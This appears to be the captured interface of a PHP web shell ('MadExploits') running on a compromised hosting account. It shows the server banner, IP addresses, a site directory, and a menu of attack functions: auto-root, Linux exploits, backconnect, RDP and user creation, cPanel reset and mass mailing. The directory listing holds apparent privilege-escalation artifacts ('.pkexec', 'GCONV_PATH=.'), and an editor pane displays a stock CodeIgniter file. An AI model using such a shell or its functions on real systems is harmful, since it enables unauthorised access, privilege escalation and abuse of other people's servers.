Linux host40.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
: 68.65.120.213 | : 216.73.217.2
Cant Read [ /etc/named.conf ]
7.4.33
trade
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
trade /
mlm.tradesense.co.ke /
system /
Cache /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Handlers
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
CacheFactory.php
2.48
KB
-rw-r--r--
CacheInterface.php
2.69
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CacheFactory.php
<?php /** * This file is part of CodeIgniter 4 framework. * * (c) CodeIgniter Foundation <admin@codeigniter.com> * * For the full copyright and license information, please view * the LICENSE file that was distributed with this source code. */ namespace CodeIgniter\Cache; use CodeIgniter\Cache\Exceptions\CacheException; use CodeIgniter\Exceptions\CriticalError; use CodeIgniter\Test\Mock\MockCache; use Config\Cache; /** * A factory for loading the desired */ class CacheFactory { /** * The class to use when mocking * * @var string */ public static $mockClass = MockCache::class; /** * The service to inject the mock as * * @var string */ public static $mockServiceName = 'cache'; /** * Attempts to create the desired cache handler, based upon the * * @return CacheInterface */ public static function getHandler(Cache $config, ?string $handler = null, ?string $backup = null) { if (! isset($config->validHandlers) || ! is_array($config->validHandlers)) { throw CacheException::forInvalidHandlers(); } if (! isset($config->handler) || ! isset($config->backupHandler)) { throw CacheException::forNoBackup(); } $handler = ! empty($handler) ? $handler : $config->handler; $backup = ! empty($backup) ? $backup : $config->backupHandler; if (! array_key_exists($handler, $config->validHandlers) || ! array_key_exists($backup, $config->validHandlers)) { throw CacheException::forHandlerNotFound(); } $adapter = new $config->validHandlers[$handler]($config); if (! $adapter->isSupported()) { $adapter = new $config->validHandlers[$backup]($config); if (! $adapter->isSupported()) { // Fall back to the dummy adapter. $adapter = new $config->validHandlers['dummy'](); } } // If $adapter->initialization throws a CriticalError exception, we will attempt to // use the $backup handler, if that also fails, we resort to the dummy handler. try { $adapter->initialize(); } catch (CriticalError $e) { log_message('critical', $e->getMessage() . ' Resorting to using ' . $backup . ' handler.'); // get the next best cache handler (or dummy if the $backup also fails) $adapter = self::getHandler($config, $backup, 'dummy'); } return $adapter; } }
Close